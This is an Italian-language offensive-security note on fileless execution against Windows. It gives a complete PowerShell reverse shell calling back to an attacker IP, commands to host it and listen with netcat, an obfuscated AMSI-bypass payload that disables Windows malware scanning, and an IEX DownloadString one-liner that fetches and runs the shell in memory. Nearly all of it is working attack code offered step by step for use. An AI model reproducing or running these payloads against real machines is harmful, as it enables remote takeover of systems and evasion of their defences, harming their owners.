tags: Evasione_Sistemi_di_Difesa Evasione_Sistemi_di_Difesa_Windows Esecuzione_File_Malevoli_Windows amsi_fail amsi
Esecuzione in Memoria (Fileless)
Invece di trasferire un file .exe, trasferisci uno script PowerShell che risiede interamente in memoria.
Come funziona:
Sulla macchina attaccante
Ospiti il tuo payload (es. uno script PowerShell che contiene una reverse shell) su un server web sotto il tuo controllo.
Ecco un esempio di reverse shell in Powershell da copiare in un file .ps1:
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.140',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
# Invia il prompt iniziale
$sendback2 = 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()Sostituisci
IPeporta.
python3 -m http.server 80Su un’altra shell ci mettiamo in ascolto alla porta immessa nello script:
nc -lvnp 4444Sulla macchina vittima
Sulla macchina vittima prima dobbiamo disabilitare l’AMSI che è un sistema di difesa di Windows che impedisce ai processi malevoli di essere eseguiti, per farlo andiamo sul sito amsi.fail e generiamo il payload tramite il pulsante Generate con tutte le tecniche Random, ecco un esempio:
# Stub: ForceError
$BFEnE5Vm="`$JxICR=[aPpdOMAIn]::CuRrEntdOMAin.geTASSemBLIes()|whERe-objECT{`$_.LoCATIoN -ANd `$_.LoCatIoN.endSWIth('System.Management.Automation.dll')};`$HHyqDz=[System.rEfLeCTioN.BInDInGFLAgS]'NonPublic,Static';`$TSAn40JBdHD='BPACniKcbXYUk';`$mMLcxtYsA=`$JXicR.geTTYpeS()|WHERe-ObJEcT{`$_.NaMe -eq `$(('Âmsì'+'Ûtîl'+'s').NORMALiZe([striNG][Char](70*30/30)+[cHar]([byTE]0X6F)+[cHAr](43+71)+[chaR]([BYTe]0X6d)+[chaR]([byTE]0x44)) -replace [STRing][Char](19+73)+[CHAr](112*41/41)+[CHAR](60+63)+[cHar](77*45/45)+[ChaR](110*52/52)+[cHaR](125*79/79))};[VOiD](Get-VARIabLE -nAme 'pWm' -ErrORActIoN sIlEntLYcOntInUe);`$WEjAW=[SYStem.runtiME.INTeroPSeRViceS.maRShaL]::alLocHGlobAL((9076));`$fgBtNUX1Fue='zXpIxLTvlHtBtoggpb';[SYstEM.rUNtime.iNteRopsERViCEs.MARSHal]::CoPY([bYtE[]]::nEW((1470+7606)),0,`$wEJaW,(9076*1117/1117));`$wLtF9K='P5NKoeuBP_mMJU';`$mmlcXTySa.GEtFIeld(`$([StRiNG][ChAR](97*35/35)+[ChaR](105+4)+[ChAr](115*62/62)+[char]((105))+[cHAR](28+55)+[CHAr]([BYTE]0X65)+[Char](115*73/73)+[cHAR]([ByTe]0X73)+[cHar](4+101)+[chAR]([byte]0x6F)+[CHAR]([ByTE]0X6e)),`$hHyqDZ).setvalUE(`$NUlL,`$null);`$mMlcXtYSa.GETFIElD(`$(('{0}{1}{2}{3}' -F 'ams','iCo','nt','ext')),`$HHyQdZ).SETVALue(`$nULl,[INtpTr]`$WEJaw)";iNvoKe-ExPResSIOn $BFEnE5VmCopialo ed incollalo direttamente nella shell di Powershell, se non ti restituisce errori significa che ha funzionato.
Non sempre il payload generato da amsi.fail funziona al primo colpo, può capitare di dover provare 3 o 4 payload diversi prima che abbia successo.
Una volta disattivato l’AMSI esegui il comando che scarica lo script e lo esegue direttamente in memoria, senza salvarlo su disco:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.140/reverse.ps1')Questo comando scarica il contenuto di payload.ps1 e lo esegue tramite IEX (Invoke-Expression) nella sessione PowerShell corrente.